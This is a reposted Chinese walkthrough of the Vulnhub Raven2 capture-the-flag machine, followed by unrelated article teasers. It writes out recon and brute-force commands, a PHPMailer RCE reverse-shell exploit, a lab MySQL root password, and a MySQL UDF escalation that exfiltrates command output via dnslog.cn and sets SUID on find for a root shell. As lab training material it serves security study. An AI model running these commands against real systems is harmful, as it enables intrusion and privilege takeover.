【Vulnhub系列】Vulnhub_Raven2靶场渗透(原创)

news2024/11/17 6:44:40

【Vulnhub系列靶场】Vulnhub_Raven2 渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境准备

从网盘下载该靶机,在vm中选择【打开】

image-20240206132421898

然后设置好存储路径,开机后检查靶机的网络连接模式是否为【NET】模式。

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240205150548983

2、端口扫描

1、先进行粗略的扫描

nmap.exe -F 192.168.31.60

image-20240205150656838

2、再进行精细化扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.60
nmap.exe -sU --min-rate 10000 -p- 192.168.31.60

image-20240205154034080

image-20240205151907050

3、进行全扫描和漏洞探测

nmap.exe -sT -sV -sC -O -p 22,80,111,54798,58157 192.168.31.60 -oA AllPort
 nmap.exe --script=vuln -p 22,80,111,54798,58157 192.168.31.60 -oA VulnPort

image-20240205154417067

确认是Linux操作系统,并且开放了111的rpcbind服务,有关这个服务可以上网搜索,也有很多该服务相关漏洞,后期是一个可利用的点。

image-20240205154452871

发现使用了wordpress框架,进行了目录的扫描,还发现有一个csrf 的漏洞,不过这个漏洞在个人渗透过程中起到的作用微乎甚微。

3、web目录探测

dirsearch.cmd -u http://192.168.31.60 -x 404,403	#过滤404、403

image-20240205151054134

看到有wordpress,疑似wordpress搭建的博客网站。

4、web框架探测

whatweb http://192.168.31.60	#在kali中用whatweb进行识别

image-20240205151433137

并未探测到wordpress框架,那我们去探测wordpress这个路径

image-20240205151835831

可以看到确定使用了wordpress框架。

三、获得shell立足点

1、敏感信息查看

1、.DS_Store文件:是macOS 操作系统的文件类型。它是由 Finder(Mac 上的文件管理器)创建的隐藏文件,用于存储有关特定文件夹的视图选项和元数据。

可以用GitHub的工具对其进行解析:https://github.com/gehaxelt/Python-dsstore

python main.py .DS_Store

image-20240205155926915

并没有发现有用的信息

2、Vendor路径信息收集

vendor/PATH:发现了一个flag1

image-20240205160305176

在/vendor/readme.md中发现PHPMailer,百度百科解释:是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。

image-20240205171505826

/vendor/VERSION发现版本为5.2.16

image-20240205171505826

有关这个版本的漏洞也有很多

image-20240205171639908

3、wordress框架信息收集

继续将目标转移至 wordpress目录框架,对该目录再进行一次目录扫描

image-20240205160829021

我们访问wp-admin的时候发生了错误:

image-20240205162944210

一而再三的确认是wordpress 框架,这里不应该报错,可能是hosts解析。

我们打开系统组件中的hosts 文件

image-20240205163105055

添加如下本地hosts 文件的IP解析

image-20240205162546551

重新打开即可。

image-20240205163213369

wp-content/uploads路径下发现了flag3

image-20240205165525290

4、wordpress框架利用工具-wpscan

wpscan是专门针对wordpress利用的工具:

1、用户名扫描

wpscan --url http://192.168.31.60/wordpress/ --enumerate u

image-20240205171928756

有steven michael两个用户,将其保存在user.txt文件中

2、进行密码爆破

我们可以用密码生成工具cewl 针对wordpress生成专门的密码

cewl http://192.168.31.60/wordpress/ -w pass.txt

image-20240205172053643

之后在进行爆破

wpscan --url "http://192.168.31.60/wordpress/" -P "pass.txt" --usernames user.txt

image-20240205172154945

image-20240205172249849

为了增加爆破的概率,我在用户名中增加了admin、root两个用户,但是依然爆破失败。我们可以用自己的字典多次尝试。以及利用wpscan针对wordpress 的主题和插件漏洞进行扫描利用。

5、getshell

wordpress利用较为困难,我们将目光再转向PHPMailer。

我们优先使用如下几个远程代码执行脚本

image-20240205172633118

将四个脚本复制到本路径下

cp php/webapps/40968.sh /c/Users/Administrator/Desktop/test/script/

image-20240205172851755

在40974.py中,我们修改脚本内容如下,同时在本地起一个4444的监听

image-20240205190108255

然后执行该脚本,访问contact.php文件,会生成shell.php 文件,内容则是反弹shell,再访问shell.php,则拿到shell

image-20240205190259052

四、提权至root

1、翻找敏感文件

1、数据库的账号密码

我们知道在wordpress 框架下可以找到数据库的账号密码,在wp-config.php 文件中

image-20240206133212310

拿到MYSQL 数据库的账号密码:root:R@v3nSecurity

还是一个高权限的账号密码,可能存在数据库提权。

2、/etc/passwd文件

找到两个普通用户michael、steven

这两个用户名跟用wpscan工具扫描出来的wordpress用户名一样。

3、/home 目录

普通用户目录下也一无所获

image-20240206133656277

4、用find 命令查找高权限文件

find / -perm -u=s -type f 2>/dev/null

image-20240206134503358

并没有找到能提权的文件

2、数据库UDF提权

我们此时有数据库的高权限用户,可以尝试数据库提权

1、我们先进入交互式shell,然后再进行数据库连接

shell=/bin/bash script -q /dev/null

image-20240206135019626

2、查询是否满足UDF提权条件

select user();
select version();
show global variables like 'secure%';
show variables like 'plugin%';

image-20240206135517495

满足所有条件

3、查找udf提权的脚本并复制到本目录

searchsploit.cmd udf
cp exploits/linux/local/1518.c /c/Users/Administrator/Desktop/test

image-20240206141513845

image-202402061414457614、在本地进行编译

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc

image-20240206141905939

5、上传至靶机/tmp目录

python3 -m http.server
#在靶机
cd /tmp
wget http://192.168.31.50:8000/111.so

6、之后按照udf提权姿势操作

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so';
create function do_system returns integer soname '111.so';
select * from mysql.func;

7、利用dnslog平台进行测试

select do_system("whoami")

如果不进行dnslog回显,结果将是如下:

image-20240206151817786

我们利用dnslog 平台进行回显:

select do_system("ping -c 1 `whoami`.hhk1dh.dnslog.cn");

image-20240206152819346image-20240206152833163

image-20240206152843521

3、获取root权限

这个时候我们可以以root权限执行任何命令,我们给find 命令SUID权限,然后通过find进行提权

1、确认find 的位置

select do_system("ping -c 1 `which find`.hhk1dh.dnslog.cn");

image-20240206153227992

2、给find SUID权限

select do_system("chmod u+s /usr/bin/find");

3、find 命令进行提权

find . -exec "/bin/sh" \;

image-20240206154445556

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1956112.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

主宰生物进化的 “魔咒” —— 制约生物在特殊环境下进化方式的线索

一些神秘的法则制约着生物在特殊环境下的进化方式。它们还为动物将如何适应气候变暖提供了线索。 一些奇特的进化现象 一艘装满大象和老鼠的 “诺亚方舟” 搁浅在一座偏远的小岛上。动物们都幸存下来并繁衍后代。但是,随着世代相传,奇怪的事情发生了&a…

【Matlab】快速傅里叶变换fft代码(单边谱)

单边谱,横纵坐标还原代码 参考链接 主代码 function main() clc clear close all %% %仿真时间 dt0.01; t_end10; timedt:dt:t_end;%注意,length(time)会对fft结果的精度有影响 %对应振幅,频率:10、5、2Hz Z20*sin(2*pi*20*time…

使用abpcli创建项目时提示数据库迁移失败

问题描述 使用abpcli创建项目时提示数据库迁移失败! 解决方案: 1、检查数据库连接字符串 {"ConnectionStrings": {"Default": "serverlocalhost;port3306;databaseAcmeBookStore;userroot;passwordyour_password;"} }2、…

盗梦空间续集(InceptionNeXt):使用Inception优化加速ConvNeXt实现ImageNet-1K的最佳精度

Abstract 灵感来自ViT的长距离建模能力,大核卷积最近被广泛研究和采用,以扩大感受野并提高模型性能,例如显著的工作ConvNeXt采用77深度卷积。虽然这种深度算子只消耗少量的FLOPs,但由于高内存访问成本,它在强大计算设…

环境配置—批量删除时提示/usr/bin/rm: Argument list too long问题

文章目录 1. 背景介绍2. 问题原因3. 解决方案3.1 分批删除文件3.2 使用 find 命令直接删除3.3 增加系统参数限制3.4 使用循环删除 4. 结论 1. 背景介绍 在Linux系统中,rm 命令是删除文件和目录的常用工具。然而,当需要删除大量文件时,可能会…

【CPS出版】2024年智能计算与数据分析国际学术会议(ICDA 2024,9月6日-8)

为探讨数据科学和计算智能领域的关键问题,促进相关交流,2024年智能计算与数据分析国际学术会议(ICDA 2024)将于2024年9月6日-8日在中国青岛召开。 本届会议拟邀请数据分析和计算智能领域的顶级专家、学者和产业界优秀人才,围绕当前…

党员管理系统2024(代码+论文+ppt)

下载在最后 技术栈: ssmmysql 展示: 下载地址: CSDN现在上传有问题,有兴趣的朋友先收藏.正常了贴上下载地址 备注:

Hive环境搭建(Mysql数据库)

【实验目的】 1) 了解hive的作用 2) 熟练hive的配置过程(Mysql数据库) 【实验原理】 Hive工具中默认使用的是derby数据库,该数据库使用简单,操作灵活,但是存在一定的局限性,hive支持使用第三方数据库&…

探索C++中的多态性:理解虚函数和运行时多态

前言: 在现代软件开发中,面向对象编程(OOP)已经成为了主流。其中一个强大的概念就是多态性(Polymorphism),它不仅仅是一种技术,更是一种设计思想和实现方式,为软件开发带…

Python批量采集某东评论,实现可视化分析

女朋友没事就喜欢网购,买一大堆又不用,总说不合适,为了不让她花冤枉钱,于是我决定用Python写一个采集商品评论的脚本,然后对商品进行分析,这样就不怕踩到坑了! 让我们直接开始本次操作 准备工作…

PPT模板背景音乐去除攻略:3个方法教你轻松删除自带背景乐!

PPT模板中自带的背景乐却找不到明显的播放图标,同时在幻灯片切换效果中也已选择“无声音”,但播放时仍有背景乐,这可能是由于音乐被嵌入到了幻灯片母版中。 针对这种情况,以下是一些去掉背景音乐的步骤: 方法一&…

【C++】C++11的新特性 --- lambda表达式 ,新的类功能,模块的可变参数 , emplace系列接口

如果你停止,就是谷底! 如果你还在继续,就是上坡! 这是我听过关于人生低谷最好的阐述。 -- 刘同 C11的新特性 1 lambda表达式1.1 基本用法1.2 细谈参数列表与捕捉列表 2 新的类功能2.1 移动构造与移动赋值2.2 default和delete 3 模块的可变参数4 emplace系列接口Thanks♪(&…

国防科技大学深圳地区新生欢送会圆满举行

2024年7月28日,第97个八一建军节来临之际,在这个充满希望的盛夏时节,深圳地区迎来了13名即将踏入国防科技大学的优秀学子。 为了庆祝这一荣耀时刻,并表达对新生的深切祝福,在国防科技大学深圳校友会黄丹会长的积极倡议…

小白也能读懂的ConvLSTM!(开源pytorch代码)

ConvLSTM 1. 算法简介与应用场景2. 算法原理2.1 LSTM基础2.2 ConvLSTM原理2.2.1 ConvLSTM的结构2.2.2 卷积操作的优点 2.3 LSTM与ConvLSTM的对比分析2.4 ConvLSTM的应用 3. PyTorch代码参考文献 仅需要网络源码的可以直接跳到末尾即可 1. 算法简介与应用场景 ConvLSTM&#x…

“手撕”MySQL的索引

目录 二、索引的作用 三、索引的缺点 四、如何使用索引 查看索引: 创建索引: ​编辑 删除索引: 五、索引的底层原理 那什么是B树,什么是B树呢? B树的好处: 总结: 一、什么是索引 索…

OpenCV 图像预处理—图像金字塔

文章目录 相关概念高斯金字塔拉普拉斯金字塔应用 构建高斯金字塔为什么要对当前层进行模糊?1. 平滑处理2. 减少混叠(Aliasing)3. 多尺度表示4. 图像降采样 举个栗子创建高斯金字塔和拉普拉斯金字塔,并用拉普拉斯金字塔恢复图像 相…

《汇编语言 基于x86处理器》- 读书笔记 - 第3章-汇编语言基础

《汇编语言 基于x86处理器》- 读书笔记 - 第3章-汇编语言基础 3.1 基本语言元素3.1.1 第一个汇编语言程序常见汇编语言调用规范 3.1.2 整数常量(基数、字面量)3.1.3 整型常量表达式3.1.4 实数常量十进制实数十六进制实数(编码实数&#xff09…

使用git命令行的方式,将本地项目上传到远程仓库

在国内的开发环境中,git的使用是必不可少的。Git 是一款分布式版本控制系统,用于有效管理和追踪文件的变更历史及协作开发。本片文章就来介绍一下怎样使用git命令行的方式,将本地项目上传到远程仓库,虽然现在的IDE中基本都配置了g…

Ubuntu安装terminator教程

Terminator 是一个高级的终端仿真器,专为 Linux 和 Unix 系统设计。它的主要特点是提供了丰富的多窗口和多标签功能,使用户能够在一个窗口中管理多个终端会话。这对于系统管理员、开发人员以及需要同时运行多个命令行任务的用户来说,极为方便。 一、安装 1、更新包 sudo a…